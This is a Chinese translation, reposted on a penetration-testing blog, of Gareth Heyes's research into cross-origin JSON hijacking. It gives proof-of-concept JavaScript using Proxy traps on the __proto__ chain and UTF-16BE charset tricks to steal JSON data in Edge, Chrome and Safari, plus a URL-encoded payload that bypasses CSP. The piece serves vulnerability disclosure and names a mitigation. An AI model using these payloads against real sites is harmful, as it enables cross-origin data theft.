?

Jul 08 2017

現代Web中的JSON劫持

首頁 » 滲透測試 » 現代Web中的JSON劫持   

Benjamin Dumke-von der Ehe發現了一個有趣的跨域竊取數據的方法。他使用JS proxies(JS代理)創建了一個可以竊取未定義的JavaScript變量的handler(處理器)。這個問題似乎在Firefox中被修復了,但是我發現了一個新的攻擊Edge的方法。雖然Edge似乎不允許對window.__proto__賦值, 但他們沒有考慮Object.setPrototypeOf。使用這種方法,我們可以使用代理化的__proto__來覆蓋__proto__的屬性。像這樣:

<script>

Object.setPrototypeOf(__proto__,new Proxy(__proto__,{

 has:function(target,name){

  alert(name);

 }

}));

</script>

<script src="external-script-with-undefined-variable"></script>

<!-- script contains: stealme -->

在 Edge 上竊取未定義變量的 PoC

如果你的腳本中有包含stealme的跨域腳本,那么即便一個變量未被定義,你也會看到該變量的值彈出。

經過進一步的測試,我發現覆蓋__proto __.__ proto__(Edge上的[object EventTargetPrototype])可以實現同樣的效果。

<script>

__proto__.__proto__=new Proxy(__proto__,{

 has:function(target,name){

  alert(name);

 }

});

</script>

<script src="external-script-with-undefined-variable"></script>

在Edge上竊取未定義變量的PoC(第二種方法)

好,所以我們可以竊取跨域數據,但除此之外我們還能做什么?所有主流瀏覽器都支持腳本中的字符集(charset)屬性,我發現UTF-16BE字符集尤為有趣。 UTF-16BE是一個多字節字符集,兩個字節構成一個字符。例如,如果你的腳本以[”開始,[”將被視為0x5b22而不是0x5b 0x22。而0x5b22恰好是一個有效的JavaScript變量=],你能看出其中奧秘嗎?

假設Web服務器的給我們的響應包含了一個數組字面量(array literal),并且我們可以控制其中的一部分。我們可以使用UTF-16BE字符集使該數組字面量變成未定義的JavaScript變量,并使用上述技術進行竊取。唯一需要注意的是,組合生成的字符必須形成有效的JavaScript變量。

比如,我們來看看下面的響應:

["supersecret","input here"]

為了竊取supersecret,我們需要插入一個NULL字符加兩個a,由于某種原因,Edge并不將其視為UTF-16BE,除非它包含這些插入的字符。可能Edge會做某種字符集檢測,或者也許它會截斷響應,NULL之后的字符在Edge上不是有效的JavaScript變量。我不確定,但在我的測試中,似乎就是需要一個NULL并填充一些字符。參見下面的例子:

<!doctype HTML>

<script>

Object.setPrototypeOf(__proto__,new Proxy(__proto__,{

    has:function(target,name){

        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));

    }

}));

</script>

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

在Edge上竊取JSON feeds(饋送)的PoC

所以我們像之前一樣代理化__proto__屬性,并且使用UTF-16BE腳本,服務器響應中的數組字面量的第二個位置是NULL加兩個a。接下來解碼UTF-16BE編碼的字符串,通過移8比特位可以獲取到第一個字節,做按位與運算可以獲取到第二個字節。結果是彈出["supersecret",",可以看出Edge似乎截斷了NULL之后的響應。這個攻擊局限性很大,因為許多字符組合后不會生產有效的JavaScript變量。但竊取少量數據可能還是有用的。

在 Chrome 上竊取 feeds

對于Chrome,情況變得更加糟糕。Chrome對包含外來字符集的腳本更加開明。你不需要為了讓Chrome使用該字符集而去控制服務器響應。唯一的要求是,像之前一樣,字符組合后的要能構成有效的JavaScript變量。為了利用這個“特性”,我們需要另外一個未定義的變量泄露。乍一看Chrome似乎不允許覆蓋 __proto__,然而他們并沒有考慮到__proto__的深度。

<script> 

__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{

    has:function f(target,name){

        var str = f.caller.toString();

        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));

    }

});

</script>

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

<!-- script contains the following response: ["supersecret","abc"] -->

注意:Chrome 54版本中已將該漏洞修復

在Chrome 53版本上竊取JSON feeds的PoC

我們在__proto__鏈上深入5層,并用代理覆蓋之,接下來發生的事情很有趣,雖然name參數并沒有包含我們的未定義變量,但是caller(調用者)包含了!它返回一個帶有我們變量名的函數!很明顯用了UTF-16BE編碼,看起來像這樣:

function 嬢獵灥牳散牥琢?慢撟崊

啥?所以我們的變量在caller中泄漏了。你必須調用toString方法才能訪問數據,否則Chrome會拋出異常。我嘗試通過檢查函數的constructor(構造器)來進一步利用這個漏洞,看看它是否返回不同的域(也許是Chrome擴展上下文)。當啟用了Adblock Plus時,我使用這種方法看到一些擴展代碼,但無法利用,因為這些代碼看起來只是插入到當前文檔中的代碼。 

在我的測試中,我也用了XML或HTML跨域數據,甚至使用了text / html Content-Type(內容類型),然后出現了一個非常嚴重的信息泄露漏洞。 Chrome已經修復了此漏洞。

在 Safari 上竊取 feeds

我們也可以在最新版本的Safari中輕松做同樣的事。我們只需要少用一個proto,并在代理中而不是caller中使用“name”。

<script>

__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{

        has:function f(target,name){

            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));

        }

});

</script>

在Safari上竊取JSON feeds的PoC

經過進一步測試,我發現Safari和Edge一樣,用__proto__.__proto__即可

在不使用JS proxies的情況下黑掉JSON feeds

我之前提到主流瀏覽器都支持UTF-16BE字符集,如何在沒有JS proxies的情況下黑掉JSON feeds?首先,你需要控制一些數據,并且必須構建feed,以便生成有效的JavaScript變量。獲取插入數據入之前的JSON feed的第一部分非常簡單,只需輸出一個UTF-16BE編碼的字符串,該字符串賦給非ASCII變量一個特定的值,然后循環遍歷該窗口并檢查該值的存在,然后屬性名將包含所有插入數據之前的JSON feed。代碼如下所示:

=1337;for(i in window)if(window[i]===1337)alert(i)

然后將該代碼編碼為UTF-16BE字符串,所以我們實際得到的是代碼而不是非ASCII變量。實際上,這就是用NULL填充每個字符。要獲取注入字符串之后的字符,只需使用增量運算符,并將編碼字符串置于窗口屬性之后。然后我們調用setTimeout并再次循環遍歷窗口,但這次檢查NaN (Not a Number),就能找到我們的編碼字符串的變量名。看下面:

setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof 

window[i]===/number/.source)alert(i);}}})catch(e){})));++window.a

我把代碼放在try catch里面,因為在檢查isNaN時IE的window.external會拋出異常。全部的JSON feed如下:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in 

window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return 

String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof 

window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return 

String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.","UTF-16BE")?>a":"dasfdasdf"}

不用代理黑掉JSON  feeds的PoC

繞過CSP (Content Security Policy,內容安全策略)

你可能已經注意到,轉換為UTF-16BE 的字符串也會將新行轉換為非ASCII變量,這樣做甚至可能繞過CSP! HTML文檔將被視為一個JavaScript變量。我們所要做的就是插入一個帶UTF-16BE字符集的腳本,該腳本含有編碼過的賦值和payload(有效載荷),后面跟著注釋。這將繞過只允許腳本引用同域資源(大多數的策略)的CSP策略。 

HTML文檔如下:

<head>

<title>Test</title>

<?php

echo $_GET['x'];

?>

</head>

<body>

</body>

</html>

注意在doctype之后沒有新行,如此構造HTML以生成有效的JavaScript,插入點之后的字符不重要,因為我們在后面插了一個單行JavaScript注釋,并且新行也會被轉換。 請注意,在文檔中沒有聲明字符集,因為meta標簽屬性和引號會破壞JavaScript。 該payload看起來如下(注意,為了構造一個有效的變量,tab是必須的):

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2

500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>

注意:新版本的PHP已將此修補,新版本的PHP默認對于text/html Content-Type使用UTF-8字符集,從而防止攻擊。 然而,我在實驗中簡單地在JSON響應中添加了一個空白的字符集,發現此方法依然奏效。
使用UTF-16BE繞過CSP的PoC

其他字符集

我fuzz(模糊測試)了每個瀏覽器和字符集。 Fuzz Edge沒用,因為如前所述,Edge會做某種字符集檢測,如果文檔中沒有特定字符,就不會使用我們需要的字符集。 Chrome非常適合測試,尤其是因為一些開發工具可以讓你使用正則表達式過濾控制臺的結果。 我發現UCS-2字符集允許你將XML數據導入為JavaScript變量,但它比UTF-16BE更難搞。 后來我還是設法得到了以下XML,然后正確導入Chrome。

<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in

window)if(window[i]===1337)alert(i)setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof

window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>

以上方法在Chrome中已失效,但它仍然可以作為一個例子。

UTF-16和UTF-16LE看起來也有用,因為腳本輸出看起來像一個JavaScript變量,但是當包含doctype,XML或JSON字符串時,會出現無效的語法錯誤。 Safari也一些有趣的結果,但在我的測試中,我無法生成有效的JavaScript。這也許值得進一步探索,但是fuzz有難度,因為為了產生有效的測試,你需要用字符集編碼你測試的字符。我確信瀏覽器廠商能夠更有效地進行測試。

CSS

你可能會認為該技術可以應用于CSS,理論上應該可以,因為任何HTML都將被轉換為非ASCII的無效的CSS選擇器,但實際上瀏覽器似乎會先查看文檔中是否有doctype,然后再用特定的字符集解析CSS,并且會忽略樣式表,這就會導致使自插入樣式表失敗。 Edge,Firefox和IE在標準模式下似乎會檢查MIME類型,Chrome說樣式表會被解析,但至少在我的測試中,好像并不會。

解決方法

為防止字符集攻擊,可在HTTP Content-Type中聲明字符集,比如UTF-8。如果在Content-Type頭中沒有設置,PHP 5.6會默認聲明UTF-8字符集來防止攻擊。

結論

Edge,Safari和Chrome包含可以跨域讀取未聲明變量的漏洞。你可以使用不同的字符集繞過CSP并竊取腳本數據。即使不使用代理,如果你可以控制JSON響應的話也可以竊取數據。

更新

我在倫敦和曼切斯特舉辦的OWASP會議上就此主題作了演講。演講和幻燈片連接如下
倫敦OWASP會議演講視頻

倫敦OWASP會議演講幻燈片

更新二

在和@1lastBr3ath討論竊取多個未定義變量后,他給了我一個Takeshi Terada'的文章,文章里有一段代碼示例,可以攻擊早些已修復版本的Firefox。改代碼示例展示了使用get方法竊取多個未定義變量。該get方法用一個值定義所有未定義變量,從而可以竊取數據。Google和Apple已修復此漏洞,但是在Edge上依然有效。
代碼如下:

__proto__.__proto__ = new Proxy(__proto__,{

 has:function(target,name){

        alert(name);

        return true;

 },

 get: function(){ return 1}//get trap makes all undefined variables defined

});


本文由 看雪翻譯小組 SpearMint 編譯,來源Gareth Heyes@PortSwigger

轉載請注明來自看雪論壇

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «Struts2高危漏洞S2-048動態分析 | 記一次境外站滲透過程»

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖